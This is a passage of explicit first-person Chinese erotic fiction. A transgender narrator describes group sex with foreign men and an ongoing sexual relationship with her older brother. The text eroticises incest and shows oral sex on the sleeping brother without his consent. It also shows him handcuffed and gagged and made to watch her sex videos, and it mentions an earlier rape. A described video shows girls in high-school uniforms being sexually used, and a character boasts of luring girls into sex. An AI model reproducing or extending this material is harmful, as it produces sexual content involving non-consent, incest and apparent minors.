的渾圓乳房更不斷波動著,感覺到菊穴裡的龜頭不斷刺激著我的長壁。若不是嘴巴被塞著,很難想像我會吐出些什麼可怕的淫語。Alex在我的緊嫩的後庭中狠插了百多下,我被他給弄到了一波高潮,我低吼著緊緊抓住Sam的大腿,我被幹道噴精了,而且腸道在射精時強烈地收縮著,讓Alex暴脹的陰莖也噴射出一股又一股精液。Sam看我眼珠都翻白了,連忙把他的陽具從我嘴巴拔出來,我嘴邊也被他的大陽具帶出好幾條晶瑩的絲線。我對Sam揮揮手表示沒事,把正面轉向他,大腿張得開開的讓他的大陽具也能夠插進我的菊穴之中。我的菊穴還滴著Alex的體液,但Sam也不介意直接就把他的大陽具給插了進去。嘴裡沒有了阻礙,我開始放浪的哀號著。「Sam好棒,Sam的雞雞幹得Ring好爽!!」「啊...啊...求你...求你把火燙的精液...啊...射進我的身體吧…啊...」也不曉得Sam聽不聽得懂我在叫些什麼,不過他把我的雙腿大大的分開,用力把腰肢一挺,整根肉棒深深地插入我的體內,我忍不住又騷浪的大叫,被抽插得死去活來的我,只能發出一些沒有意思的聲音來表現我的愉悅。
我的表現讓Sam也快快的把精液送入我體內。我感受著他的體液一波波的蔓延在我的腸內,讓我的直腸沾滿了精液的氣味。我看到Cindy那邊也完事了,那淫蕩的女人雙腳開開的攤在床上,我連思考都沒有思考,就四肢著地的爬向Cindy,用我的舌頭舔著他晶瑩的小縫。我用我的舌頭將她陰道內的精液都給挖出來,先在嘴巴裡玩弄了一番再吞下去。Cindy毫無招架之力只有在我的舌頭狠狠刮過她的小荳荳時她才會哎呀的呻吟出來。我搜尋著精液,不但是撒在Cindy的陰道內的,我也不斷用手指摳弄著我菊穴裡的精液,把它們往嘴裡送。幹Cindy的老外之一Jason,笑著比比地毯上從我的菊穴裡滴落的精液,我毫不猶豫的趴下身給吸進嘴裡。
我額外的放浪行徑,讓四個男人又重振雄風起來,只是可憐了我的菊穴,又被狠狠的給操過了一輪。隔天醒來,其他人都還還在床上賴床,我卻被Sam抱著坐在他的大腿上,任他把我的雙腳打開,給眾人看著我被他幹到發浪。他的體力彷彿無窮無盡,我情不自禁的呻吟著。「阿….阿…..小力點…我好痛…好舒服…喔…」,這樣的呻吟聲更刺激了他,坐在他身上的我被他不斷地由下往上頂著,每一次的深入都讓我不停的的亂叫著「阿….好爽….插的我好爽…阿….阿…好厲害阿…」,淫蕩的身體享受著男女歡愛的美妙滋味,我爭奪過交合的節奏,屁股扭動著,好讓他的陽具更深入我的體內,填滿我空虛的小穴。我像是要榨乾他似的在他身上賣命的動著我的翹臀。體內的陰莖一陣又一陣的抽蓄,感到他要射精,我更是努力的動著屁股,「阿∼∼∼」當他將精液撒進我體內的時候,我也達到了一陣陣的高潮,我的小弟弟不能控制的將一堆液體噴灑在房間的地毯上。
在交合的時侯被人盯著看,讓人好害羞卻又特別的興奮,被人視姦的那種羞恥感,讓人嘗試過了就很難忘懷。那天之後整整過了三天我走路時才不會感到刺痛,而且每天邀約我出遊的人都不間斷,在那群外國客人中放浪的小人妖聲名被傳開來了,也讓我差點丟了工作,老闆表明了他不喜歡員工裡有這樣的行為,他直接挑明著說我這樣很像個妓女在這裡攬客。如果我要這樣的話那麼我工作也就別做了,Money is everything 於是我除了一開始有個幾群外國客人出去外,之後幾乎把這些邀約都給推得一乾二淨。有工作的日子我幾乎都過中午才起床,用跟同事便宜買來的二手電腦播放健美操的教學做操維持美麗沒有贅肉的45公斤,然後逼自己多少唸一些書再睡個回籠覺到傍晚起床化妝上班。這樣雖然每個月只有兩萬的薪水,但是扣掉房租跟生活開銷後,我每個月都還能存到將近一萬元。
穩定的日子也很快的過了半年,我去學校瞭解學籍問題,知道可以下學期就復學便順便辦理了復學申請,但是申請復學還要什麼監護人簽章的倒是難倒我。我打通電話問唯一可以幫上忙的哥哥,哥哥二話不說要我把申請書拿給他,他會去偷拿媽媽的印章幫我處理這件難事。年初三哥哥帶著我的復學申請單來中部找我。退伍後就在爸爸公司工作的他身材維持的還不錯,一看到我就拍拍我的頭,說我瘦了好多。半年多沒有看到家人,我的眼眶瞬間紅了起來。抱著他哭得悉哩嘩啦的。過年期間老闆出國去玩,從除夕開始直接讓我們休了十天,於是我留了哥哥要陪我幾天,等到開工了再回去。
我有買一台破破爛爛的二手100CC機車當代步工具,當天我們兄妹兩人就騎著這台破車從台中市區一路玩到谷關泡溫泉。我們挑的溫泉飯店是聽說很有名的”惠來谷關”,裡面的擺設也的確讓人感到豪華。進房的時候已經是傍晚,橘紅的夕陽斜斜透過木格窗灑進半露天的浴池裡,很是漂亮。我們特地觀掉了房間的電燈,享受著斜陽夕照的美景。我用浴巾將身體包得緊緊的跟哥哥肩並肩坐在池子裡,蒸氣氤氳,好久沒有感到的悠閒讓我嘰嘰喳喳的跟哥哥說個不停,什麼工作的時候太囂張居然靠在第一次來客人的肩上阿,做瑜伽做到腳抽筋阿,都讓哥哥捧腹大笑。但熱呼呼的泉水也讓我的眼皮沈重起來,不自覺的靠在哥哥的肩上睡著了。感覺睡了好久,我醒來時熱水都涼了,我頭枕在哥哥的胸膛上,勻稱的呼吸聲說明了他還在睡覺。耳朵裡傳來哥哥穩定又強壯的心跳,噗通、噗通,讓人放鬆又讓人想要緊緊依偎著他。但泉水已經變涼了,我不自主的打了個冷顫,這個動作驚醒了哥哥,他伸了伸懶腰看看在他懷裡的我,咧嘴笑了一下,「醒了阿?肚子餓了嗎?我好餓喔!」真是煞風景的哥哥,一醒來看到一個美女躺在他懷裡還說這種話,難怪到現在都沒有女朋友。不過他提到了肚子餓,讓我的肚子也不小心的叫了起來。
晚餐沒什麼好選擇,隨隨便便買了7-11的飯糰果腹,我慵懶的攤在房間沙發上拿著哥哥新買的NDS玩遊戲,哥哥也懶懶的斜坐在床邊看電視,我們有一搭沒一搭的聊著天。不過我遊戲越玩越不順哥哥又不肯跟我說訣竅讓我不斷地卡關,一氣之下就又跑去泡溫泉,這次哥哥沒跟我一起泡,我樂得在水裡解開了浴巾,舒舒服服的享受按摩水流對皮膚的衝擊。泡沒多久就聽到隔壁房裡傳來一聲又一聲的淫呼,「阿…好猛…好舒服…阿…老公好壞…不要在這裡…阿…」沒想到有人在浴池裡就忍不住相幹了起來,又叫得那麼淫蕩,聽得讓人害羞卻又令人好笑,我正想轉頭招呼哥哥過來聽,卻看到他躺在床上,下半身都還擱在床緣就這樣睡著了。打著呼的哥哥身上的浴袍敞開,只穿著一條緊身內褲擋住他的重要部位,兩腿中間的突起物鼓鼓一大包顯眼的不得了。我包著浴巾,小心翼翼地走到哥哥身邊 ,把手伸過去輕輕地拉開他的內褲,他的陰莖軟軟的攤著,跟小時候的印象相比大上了數倍不止。看他沒有反應, 我坐在床邊用手大膽輕撫著他的腹肌,頭就隔著內褲靠在哥哥的陰莖邊,感受那男人的氣息。哥哥仍舊沉睡,但是他的陰莖卻被我的呼氣弄得逐漸勃然挺立,原本就鼓脹的小丘逐漸長大,鮮紅色的龜頭甚至突出到內褲外面。看著不輸洋人尺寸的陰莖在我眼前長大,淫蕩如我怎麼能夠忍受。我將他的內褲給拉下,讓那龐然大物出來透氣。哥哥的陰莖黑黝黝的又粗又長,龜頭上一片一片白白的恥垢散發著濃濃的騷氣,本來只想好好看看的我忍不住用鼻尖從根部往上沿著繫帶一路劃到頂端,讓我的鼻尖還殘留哥哥陰部的騷氣,再張開小嘴將龜頭給輕輕的含住。
我真的是不知羞恥的賤人,連自己親哥哥的陰莖也不肯放過。口腔裡濃烈的尿騷味刺激著我的味蕾,我的舌尖輕巧的將龜頭上白白的恥垢一一清潔乾淨,有這麼愛乾淨的妹妹真是哥哥上輩子修來的福氣。今天騎了一整天的車,哥哥真的是累壞了吧,重要部位被我這樣的刺激都沒有醒來。舌頭刺激那龜頭前端的馬眼,看著他在睡夢中頻頻的皺眉,還喃喃地吐出模模糊糊的叫聲,我幸福的微笑著。哥哥的大陰莖被我溫柔的上上下下吸吮著,一想到那是哥哥的陽物我就無法自持,我的手也跟著我嘴巴的節奏掏弄著自己小陰莖還有淫會的菊門。哥哥的陰莖沾滿了我的唾液,還不停的沿著股溝滴落到地板上。被淫蕩的我含住命根子,雖然仍在夢鄉,但哥哥的上半身不時輕輕扭動,也不斷的蹙著頭眉。擔心哥哥會突然醒來,我始終保持著同樣的節奏伺候著這個從小陪伴著我的親人,每一次他身體的抽搐都會讓我心驚膽跳,再怎麼不檢點的女人也不會像我這般偷偷地為自己的親兄弟口交吧。在我還想著哥哥怎麼這麼持久時,他的精液突如其來的噴灑出來,一股又一股的濃稠物不斷注入我的嘴裡。連忙吞嚥卻也來不及迎接那麼多的液體,從嘴角滑落的精液沿著我的乳溝向下流,索性不再吞嚥讓那液體直接滑落,沾滿我的身體。我把哥哥的陰莖用毛巾草草的擦乾淨,把這寶貝收進內褲裡,起身躺在哥哥身邊也沉沉的睡去。
一覺到天亮的我醒來,發現不知何時睡在床中央身上蓋著一層厚厚的被子,而應該在我身邊睡覺的哥哥卻披著毯子睡在沙發上。我起身的動作吵醒了哥哥,他笑著對我說「小另快去洗臉,你嘴邊都是乾掉的口水了」。聽到哥哥這麼說我害羞的摀著臉跑去洗手台,還好哥哥不知道我的臉上的痕跡不是口水,而是乾掉的精液。洗手台的大鏡子,反映出昨天刻意沒有擦拭掉的污漬,從嘴角、臉頰、胸前、乳溝…我敞開了浴巾,那污漬一路到我的小腹上都還清晰可見。我看著昨晚荒唐的證據,臉上一片燒紅,我趕緊走進沖洗室好好的把身體洗刷一遍。
我跟哥哥拖到最後一刻才退房,不經意喵到發票上讓人咋舌的金額,我吞吞吐吐的要跟哥哥平分,但哥哥不肯說我出門在外比較辛苦什麼的,只好作罷。騎在回程的山路上,我緊抱著哥哥,哥哥頻頻問我是不是會冷?我只是俏皮的跟他說是讓他體會一下載女朋友的滋味。哥哥好氣又好笑的撥開我的手,要我放尊重點,他也是很有行情的。我們就這樣一路說說笑笑回到我的租屋處。哥哥觀察了我的房間就又拉了我出門,不斷地念著我怎麼過得那麼清貧,他給我的錢是要我好好過生活,不是要我當苦行僧。他問我說我知不知道他都還有陸陸續續匯錢到他給我的戶頭之中,我搖搖頭,哥哥的那張提款卡除了來這邊的第一個月房租、押金我有動用到之後我就沒有再拿出來用過了,怎麼可能會知道這些,我跑去提款機看了一下餘額才發現哥哥總共又匯了5萬多給我。我鼻子很酸,站在提款機前眼淚不停的掉。本來還想著一直抗拒進爸爸公司工作的哥哥怎麼會在退伍後就直接進去上班,一定是因為爸爸願意給他比較高的薪水。哥哥看我哭得悉哩嘩啦的,默默的把我抱在懷裡,「小另,哥哥說過願意尊重你的選擇,哥哥不懂你的事情,只能夠在經濟上支持你,你很辛苦哥哥知道,你要堅強!!」可惡的哥哥越說越讓人想哭,害我丟臉的在大賣場的提款機前止不住眼淚哭了十來分鐘,不但妝都花了還得張著紅腫的眼睛跟他一起逛賣場。
哥哥硬是花錢買了一堆我覺得不需要的生活用具給我「不用電風扇啦!現在是冬天耶!」「夏天就用得到!」「我房間很涼,不需要啦!」「我不管,我喜歡他的外型,我要買!!」每一件物品都要經過一番爭執然後就被哥哥塞到購物車裡。就連我要付帳都被哥哥用一句「這些都是我要的,只是先給你用,所以我出!」給塞住了嘴。我破爛的小一百根本載不了那麼多東西,哥哥還叫了計程車給送到我租處。把買的東西分門別類整理好,本來空蕩蕩的小套房頓時覺得有點擠了。哥哥滿意的點點頭,攤開唯一他用得到的東西”睡袋”舒服的鑽了進去,但過沒多久就滿頭大汗的推開了睡袋。「哥哥,我房間雖然有點涼,但是應該還用不到那麼好的睡袋吧,袋子上面寫說零下20度可以用耶~」無奈的哥哥把睡袋給整個打開當作地墊鋪在地上,我跟他坐在上面一起看電視。無聊的電視節目讓我一台又一台的轉來轉去,哥哥更是心不在焉的玩著NDS又撥弄著我的頭髮,正想提說不然就關燈睡覺吧,但這時我的電話響了「Hey ,Sam! What’s Up ! 」Sam說他們有一個Party 女伴不多,希望我能夠過去玩,但是難得哥哥來找我,我才不想去跟他們鬼混。「NO~ Maybenext time , yahI have associated with me, no~ ,he’s my brother , yes ! yes ! Goodbye asshole !」被Sam盧了快十分鐘才掛斷電話,哥哥笑笑的問我說是不是男朋友?我給他個白眼「只是砲友啦!」雖然是事實,但哥哥卻當作是玩笑話笑得很開心。
我走進浴室卸妝,脫掉衣服想要好好的洗個澡然後就跑去睡覺,這時浴室的門被打開了!哥哥裸著身體走進來。我尖叫一聲,飛快拿起衣服遮掩自己的前身,卻被哥哥逼到角落抱住。他急促鼓動的胸膛貼在我身上,發硬的陰莖豪不演是的抵在我的小腹上。浴室的燈泡在哥哥的身後,斜光讓哥哥的臉是一片的黑影看不清他的表情讓我不禁打了一個哆嗦。「其實我昨天醒著!」我驚呼了一聲「你醒著?天呀!!」哥哥突然的坦白我羞得不知如何是好。「其實,昨天你在溫泉裡面睡著的時候我就忍不住偷偷摸了你幾把了!」我傻眼的看著哥哥,但他繼續說著「我怕我再看到你入浴的畫面會忍不住對你亂來,所以在你再度去泡溫泉的時候我就逼著自己躺著睡著,還好夠累很快就入睡了。沒想到你會跑來玩弄我的下體。」「你含住我雞巴的時候我就醒過來了,但是我不知道要怎麼阻止你,只好繼續裝睡。」我遮著臉一句話都說不出來,連耳朵都是一片火辣。「妹妹,你知道你睡著的時候我有多難熬嗎?我看著你的睡姿,你毛巾下那若隱若現的乳房,我打了好幾次手槍才精疲力盡的睡著。」「可是今天一整天,我還是不斷想著你的身體。我憋不住了,你都含過我了,可以滿足我的欲望嗎?不要拒絕我好嗎?」心理上與哥哥做愛我毫不抗拒,又有什麼樣的男人要上我我會拒絕呢?只是看著從小到大一起長大的哥哥,這樣的求我,想著我被十多名男人碰過的骯髒身體,我也不知道該回什麼樣的話,點點頭已經是我能夠做到最大的回應了。我要哥哥轉過身,讓我從背後抱住他,我小巧卻堅挺的B乳就壓在哥哥的背上。「哥哥,你不嫌棄我不是真的女孩嗎?」「我第一次是被強暴的,可是我還是爽到噴精,哥哥你知道嗎?」「你不知道你這個妹妹很髒,被男人調教到只要有雄性在身邊就會很興奮嗎。」「我曾經跟很多人發生過關係,哥哥你真的無所謂嗎?」不論我怎麼問我哥哥只有不斷地回我,我不在乎,而他的陰莖還越聽越硬,我妥協了。
「哥哥,讓妹妹服侍你!」我轉開水龍頭為他擦洗身體,將沐浴乳倒在乳房當作擦拭的器具從上半身到腳底都為他擦上一層肥皂泡,比我高出不少的壯碩身材,我要他坐在馬桶上,我跪蹲在旁用手仔細的沖洗他的會陰處。哥哥的肌膚摸起來很有彈性,陰莖卻如鐵棒一般的硬挺。手上弄了一堆的肥皂泡就抓著他的陰莖雙手並用的前後搓揉著。看他享受得向後仰,我逐漸加重力道,直到他把精液排到了我的手上。他喘著大氣讓我幫他把肥皂泡沫沖個乾淨,毛巾輕輕的擦拭他的身體要他去床上等我。我匆忙的把身體洗乾淨,並用溫水好好的再沖洗一次我的腸道,用一條小毛巾繫在我的腰上,遮住了我不完美的性徵,這才離開浴室。哥哥坐在床上靠著牆等我,我忐忑不安的接近哥哥,跪倒在床邊用我所能的溫柔含住那尚未恢復雄風的大陰莖。我的嘴巴好像越來越厲害了,一含住他就舒服的呻吟起來。我讓他的陰莖在我體內慢慢的膨脹,連續好幾下的深喉讓陰莖上面滿滿的覆蓋著我淫慾的唾液。我要哥哥關上電燈,窗戶撒進朦朧街燈的黯淡光芒,我摟住哥哥給他一個深情醉人的吻,讓他將我推倒在床上,我分開大腿用手引導著他插入我那唯一能給他抽插的菊門。因為想要將哥哥初次的插入銘刻在心頭上,特地不潤滑我的腸道,我噢了一聲,乾澀的刺痛感帶來強烈的不適,指甲狠狠的在哥哥身上留下印記,卻不讓哥哥停下。由於乾澀,大陰莖雖然已經被我的口水給潤滑但也不得不放慢了抽插的動作。哥哥喘著大氣由淺處深入到底端,感受著陰莖被緊緊包住的緊實再慢慢的抽出,連續幾次下來,腸道分泌的腸液混合著摩擦破皮所流出的血液潤滑了乾澀的腸道,讓哥哥得以加大他的動作,我扭曲著身體,從痛苦中享受著哥哥陰莖的刺穿。「哥哥,用力…阿,,,痛…快..把小另幹壞…」「阿…救命…好痛…阿…別停下來…再幹我…用力幹我一些….」我的呼喚哥哥照單全收,這是他第一次幹著手掌以外的東西,喘氣聲中不斷夾雜著他片段的感想「怎..怎麼這麼緊?…比打手槍還爽…」「呼…呼…妹妹,你好棒,你本來就該是個女人才對…」他就這樣抓著我纖細的腰肢,猛烈用他那公狗腰指揮著大陰莖在我的菊穴中抽動著。雖然疼痛,但哥哥的抽插還是免不了刺激著我那不乖的前列腺,近親相姦的事實刺激著它快快排空裡面的體液,「阿…小另要噴了…阿…阿…怎…怎麼又…阿~~~~…又到一次了啦…」我們只用了最基本的男上女下的姿勢,而且破皮的菊穴還疼痛著,我卻第一次還在姦淫中就連續到了好幾次的高潮。體液是排空了,但是哥哥的大陰莖還很精神的撞擊我的下體。我連配合他動作的體力都耗盡了,只有在又一次高潮的時候狠狠的抓住床單,忍受下腹的抽搐,「阿!!~~~~」,最後一次,我整個身子都軟了下來,嚇得哥哥連忙把陰莖給抽出來。「哥…哥哥…對不起,你太厲害了,妹妹爽到沒有力氣服務你了…」,看著哥哥仍舊挺立的大雞巴,雖然疲累,但我仍舊奮力的挺起上半身堅持著要為哥哥口交。那黝黑的陰莖上殘留了口水、腸液、血液交雜的氣味,我手口並用的舔著,像是一個女僕在侍候著心愛主人一般,好不容易才讓哥哥達到高潮,將他的精液噴灑在我頭臉上。
哥哥喘氣的打開了燈,看著我臉上不斷滑落的白濁體液。「哥哥,你連續兩天射精了怎麼精液還是這麼多啦!」我用雙手捧著他蘊含著好幾千萬子孫的體液,手中聚集了小小地水窪後我才咕嚕咕嚕的嚥到腹內。「這麼喜歡吃那個東西喔?」「對壓,這個很營養呢,不過像哥哥的那麼多吃下去,人家很快就會變胖啦。」把臉上、手上的體液都刮到嘴裡,他那尚未平息的大陰莖我也沒放過,用舌頭給舔得一乾二淨。我拿來遮掩下陰的小毛巾早就掉在一旁。我爬不起身只好將它收到兩腿間夾著,我盤坐在床墊上,菊穴痛得有如初次被開苞一般,但是我享受著這份痛楚,這是我淫蕩的勾引我親愛哥哥的處罰。單人床上,我跟哥哥抱在一起談著話,但是這個話題卻讓哥哥有點生氣。我告訴她我不希望他經常來找我,他問我為什麼,我跟他說因為我看到他,我們單獨的在一起,就會會情不自禁的想跟他發生關係。「哥哥,我們的關係是亂倫,你知道嗎?」哥哥用力的搖搖頭,他不想聽我說這些,「哥哥,我 不是個真正的女孩,你應該去找比我更好的對象!」「你想想看,如果爸媽知道了他們的小兒子一心想變成女孩,而且還跟他大哥發現了這樣亂倫的事情 ,要他們怎麼能夠接受!!」哥哥沉默了,我說的話都是事實,他也沒什麼能夠反駁的。
隔天傍晚哥哥必須回家趕後天的開工,而我卻因為菊穴的疼痛讓我舉步維艱無法送他離開,我目送著他離開我房間,看著因為他離去後房間頓時變得空蕩蕩,讓我又哭了…其實我叫這個唯一能夠見面的親人不要來看我對我來說是多麼不捨得,但我卻又不得不這樣做,不難想像我們兩個越陷越深的後果。
大學生活並不是我想像中的美好,這個又是男又是女的身份成為了眾人目光的焦點,入學第一天就被人指指點點,就算對我再友善的同學相處上也都帶著淡淡地冷漠。不只一次不小心聽到嘴巴壞一點的同學在我背後說稱呼我是那個”人妖”、”陰陽人”,這些雖然令人不滿但也只能往肚裡吞。一下的課業不少連貫著一上的課程而來,必修課被檔修又要忙著工作,雖然有幾個比較願意跟我互動的同學,但無法稱得上是怎麼交心。總是一個人默默的上課、下課、吃飯,有可能一天下來說不到一句話。申請復學的時候知道只要學分足夠,我能夠跟班上同學一樣大四下學期就畢業,我這學期甚至超修了一學分,星期一到星期五,只有週五下午的空檔我可以小小的喘口氣。 但把課程排得滿滿的後果就是,我無法每天準時五點上班,我的工作從原本的全職變成領時薪的工讀,算一算薪水整整少了1/3,在不動用哥哥那筆存款的原則上我的經濟頓時沈重起來。晚上工作結束還得趕快回家準備作業、複習功課,最慘可能睡個1、2個小時就要爬起來準備上課,只能用化妝掩蓋日益憔悴的神情。
雖然跟哥哥說過不要來找我,但哥哥無法克制的每隔幾周就會跑台中來。每次下班看他蹲坐在我租處門口,很難也很捨不得拒絕他。「怎麼變這麼瘦?」這通常是哥哥看到我的第一句話。整整一個學期,我體重往下掉了5公斤能不瘦嗎。每次他來找我,我們哪些地方都沒有去,除了我去上班,持續整天的瘋狂交歡是我們唯一的活動。「哥哥,好厲害!!好棒…又要去了…」哥哥的肉棒讓我能夠忘記所有的煩悶,每一次的交合都讓我徹底淪陷。一想到下體被插入的是有著親生血緣關係的肉棒,每次都會興奮的顫抖,違背倫常的刺激卻是維持我們親密關係的墊腳石。雖然體重不斷創新低,但女性荷爾蒙塑造出來的豐胸、翹臀仍舊挺立的吸引哥哥去含弄,去揉捏。「小另,你好香…我要緊緊抱著你…幹死你…幹死我的妖妹妹!!」我覺得我好髒,好不要臉為什麼要偷偷摸摸的對睡夢中的哥哥做那種事情,怎麼可以讓哥哥把精液撒在我的身上、我的體內,眼看他逐漸沉溺在畸戀中快要無法自拔了,但我卻不知道該如何是好,只有不斷拒絕哥哥再來找我,但卻又在他前來時迷戀在他醉人的擁抱裡。
不斷拒絕同學們好意邀約的出遊、跑夜店、聚會等等的行程,已經很難融入他們的我還被歸類”難搞”、”自命清高”。壓力、不順心讓我開始易怒,更加封閉。課業雖然因為之前多少有預習一上的課程,所以程度上不會落後太多。但好不容易稱到學期結束,成績排名全班第五名,雖然看起來風光但若是要申請獎學金卻又不夠好,我難過得在公佈欄前面痛哭失聲。「名次拿這麼高?真的假的」「動手腳吧?還是帶小抄!假的阿!哈哈哈」情緒夠糟糕的我又在班版的佈告欄上看到影射我靠著作弊才拿到這麼高分的文章,讓我情緒進一步崩潰。明明可以輕輕鬆鬆的渡過暑假、或利用暑假多接打工賺錢,我卻整天躲在房間裡哭,哭到傍晚才用濃濃的眼粧勉強壓住紅腫的眼眶,掛著微笑的面具去上班。經常走在路上就突然忘記等 一下要做些什麼,我要走去那裡。莫名其妙看書看到一半就眼淚掉個不停。
知道我放暑假了,哥哥又興衝衝的跑來找我。一看到我,哥哥就抱住了我「小另,哥哥每天都在想你!想你的臉孔,想你的聲音,想你~」邊說就邊要吻我。我推開了哥哥,我冷冷的看著哥哥。「哥哥,我到底哪裡好?我只不過是個變性人,我是假的,哥哥你知道嗎?」但哥哥不想正面回應我的話,甚至連我情緒的低落都沒有看出來,只不過一直說著「小另最漂亮了」「小另比女人還要棒」….他說這些話只是讓我情緒變得更差。我咬咬牙跟哥哥說「小另有東西要給哥哥看,看完再說好嗎?」我要哥哥坐在椅子上,還說要用他之前買的情趣手銬將哥哥的手腳都給牢牢的扣在椅子上。或許以為我想要玩什麼新把戲,哥哥沒有抗拒還笑嘻嘻的讓我給固定住。我打開了電腦點開了一個準備了好久的影片檔,那是特地為哥哥準備,辛辣的特效藥。我把我曾經拍攝過的性愛圖片、影片剪接成了長達兩個小時的性愛光碟。從蔡叔叔把我壓在床上的影片,我跟小蔡為了刺激在安全梯口交的套圖,到後來跟一群又一群外國人群交、濫交的影片統統都剪在裡面。當時的我,就是希望哥哥能夠看清我是什麼樣的人,不要沉迷在我的肉體上,也藉此戒除我已經上癮的悖倫性愛。
我選擇了將我最污穢的一面展露在哥哥面前。哥哥的臉上變化著不同的臉色,我還從他背後環住他,在他耳朵邊為他介紹每一位曾經享用、蹂躪我身體的男人。哥哥無奈的看我點開影片。我告訴他影片中出現的男人是我的第一個男人「哥哥,你知道蔡叔叔最喜歡怎麼幹我嗎?他最喜歡在廁所裡面幹我了。我就是再公廁裡面被他強迫口交的。那天晚上我被他逼到廁所的角落,逼著我要含著他酸臭得雞巴。哥哥,那時候我卻興奮了!我的小雞八翹得好高,越吃著蔡叔叔的雞巴我就越硬。所以我才會跟他回家。」哥哥叫喊著他不想聽不想看,但我用口塞球塞住他,讓他只能嗚嗚的聽我說話。「哥哥,他是蔡叔叔的兒子,小蔡,你看他的雞巴,是不是彎曲的好像香蕉對不對。我超喜歡在戶外被他幹到喉嚨深處呢,光是跟他口交我就可以射出好多好多的體液耶,哥哥。你看小另被他幹得時候叫得這麼爽,小另是蕩婦,不,不對我是人妖,所以是蕩妖。哈哈哈。」明明在笑但我的眼淚卻不斷地滴下來。「哥哥你知道小蔡多壞,他要我穿得跟妓女一樣,你看…我就坐在長椅上被路過的男人用視線姦淫。我那天超級騷的,還跑去那個郊區那邊的土地廟要那邊的阿伯幹我,那邊有三個人你知道嗎,哥哥...啊!差點錯過了他是Sam」我加油添醋的誇張我身體的骯髒,「他是Alex…」「他是blah blah...那根超厲害的...」每個出現幹我的男人都被我一一介紹給哥哥認識。長達兩個小時的影片我硬是逼著他目不轉睛的看著,就算他不看,進入他耳朵裡的東西也絕對讓他從此用下流的眼神看著我。
影片最後一大段是我跟Cindy、還有兩個老外出去玩的影片。兩個男人其中一個是Cindy的男友Jay跟黑人Jamey他們都是我學校的外籍生。為了那天出遊我去特地染了一頭亞麻色的長髮把它綁成清純的雙馬尾,但卻劃了強調輪廓的濃妝,眼睛用白色的眼線去凸顯,加上濃翹的眼睫毛,把原本秀氣的女孩臉蛋變成了異樣的妖豔,穿著綠色的低胸碎花連身裙搭配金色的高跟鞋,走在路上吸引了眾人的目光。在車上Cindy充當媽媽桑介紹著用著充滿誘惑的聲線介紹我「Everyone!look here ! such a beautiful ladyboy , don't you wana fuck her ?」「yah !」「But , you guys so strong , I afraid my littleRing can’t handle you… hmmm… I thought you should pay something to get her … oh! no~ money ? you are too dirty ! baby ! uh…. I think some sperm will be awonderful charity , isn't it Ring ?」Cindy的開場白,讓我笑罵的要Cindy閉嘴。男人們熟門熟路的開車帶我們到一間山間的小房子。走進屋子裡他們,光溜溜的下半身赤裸裸的展露著他們的兇器。我跟Cindy協助把窗戶打開讓屋內通風。他們還未膨脹的大雞巴邊走邊晃得,讓我看得臉紅心跳。Jay打開電視機,播放著他們自己剪輯一幕又一幕的情色影片搭配著電音為我們助興,裡面出現的女孩清一色都是台灣女孩,有看起來文靜的氣質妹、有穿著火辣的夜店女孩、有上半身還半掛著高中制服的學生妹….,而她們身後插著淫穴的就是我們眼前這兩個老外,「Ring,你知道我都怎麼說服那些妹妹跟Jay相幹嗎?我都跟她們說,幫幫我,我快被我男友幹死了~~反正她們被幹過一次之後就會跟我一樣離不開了。」這個淫穢的Cindy….。
「hey come here suck my dick ! Some charity for you」Jamey扯著我的頭髮拉到他身邊用命令的口吻要我去吸吮他的黑雞巴。「hey ~carefully !it’s hurt ! 」「OK OK .. take easy .Cindy told that you’re a good cocksucker aren’t you ?」黑人帶著輕蔑戲謔的口氣對我問話,我微笑不語只是溫柔的靠到他懷裡,像妓女服侍恩客一般,我把我的連身裙褪到腰間,引導著他的手讓他握住我露出在外的奶子,我嬌喘著印上他的唇。吻了好一陣子,我蹲下身像是本能般地開始吸吮起嘴裡的肉棒。他撫摸著我的頸項、肩背,他的動作就如同是在撫摸著馴良的寵物一般。我賣力地舔吮著口中的大陰莖。粗大的肉棒在我嘴裡進進出出,嘴角流出唾液,潤滑著無法整根沒入口中,尚留三分之一在外面的部份。直抵到喉嚨深處的龜頭,令我幾乎換不過氣來。龜頭突出的冠部緊緊刮搔著上下口腔內的黏膜,讓我的口水不斷地分泌出來。我賣力地吮著。舌頭在龜頭上仔細磨舔,用舌尖輕輕撥開馬眼,忽快忽慢地在馬眼開口處滑動。「oh yes …oh …」Jamey被我吸吮得發出呻吟,他怕太快被我吸出來,依依不捨的將他的大陰莖拔出我的口中還用他的大陰莖左右拍打了我臉頰,甚至一口口水的吐在我臉上。被這樣羞辱,我卻沒有生氣,也不去擦拭那穢汙,只是露出委屈的眼神讓Cindy手中的攝影機留下一個淫蕩的特寫。Jamey把我拉到一邊的沙發床上,把他那黑紅色的嘴唇對著我的乳頭就是一陣啃咬,接著就是大力的吸吮。「阿~…Jamey …阿…」半氣音的呻吟,是那麼的淫蕩。他的手蹂躪著我已經勃發的小蓓蕾,輕輕的捏住,不停的搓揉。我根本來不及喊出個不字,就被敏感的觸覺搞得呻吟連連。Jamey的手指不但粗而且還帶著厚繭,當他用沾滿口水的手指撥開我的包皮,直接刺激我敏感的小龜頭,「阿…鼻要這樣…別…」我呻吟得連話都說不清楚了。肉體的快感,駕馭了我的理智,Jamey看著時機成熟分開了我的雙腳,用他那個黝黑又漲紅的陰莖沾著潤滑油,滑弄我的菊穴,或是緩緩的將龜頭前端擠進我的身體,搔著我的癢處,卻又不插到底給我的身體滿足。「please….」「what? please what ?」「I’d want you dick get in….please…」我的身體巴不得他可以快一些插進來,什麼矜持都不顧了。Jamey哈哈大笑的將他的大雞巴捅進我的菊穴裡,Jamey把我抱起來坐在床緣,男女上的動作,我倆的下半身緊緊結合在一起,我的雙手環住他的脖子,我大力搖動著我的屁股,讓粗黑的陰莖深深地刺入我腸道的底端,他不斷輕吻我的耳朵和脖子。「oh…oh…your dick too big ,oh… I … oh…so beautiful I can’t leave such beautiful dick.」深深進入的姿勢讓我敏感在他身上顫抖著,「嗚~阿~噴出來...噴了...」上下晃動著小弟弟不斷將我的分泌物撒在他身上,接二連三的高潮讓我的身子癱軟,Jamey讓我從他身上下來趴在床上,軟綿綿的身子只有淫蕩的屁股能奮力的翹起好迎接Jamey的大雞巴。「oh…too tired … uh …pleasse short in my ass…oh…」終於迎接他遲來的精液撒在我的腸穴之中,但Jay卻又立刻接手了我的身體。還在滴著精液的小菊穴再度吞進了一根長度與粗度都不輸Jamey的大白屌。「阿….怎麼這樣…會…會被幹死啦….」Cindy用她的妹妹堵住了我抱怨中的小嘴。
